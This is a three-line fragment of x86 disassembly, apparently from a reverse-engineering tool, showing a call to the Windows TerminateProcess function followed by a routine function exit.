call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret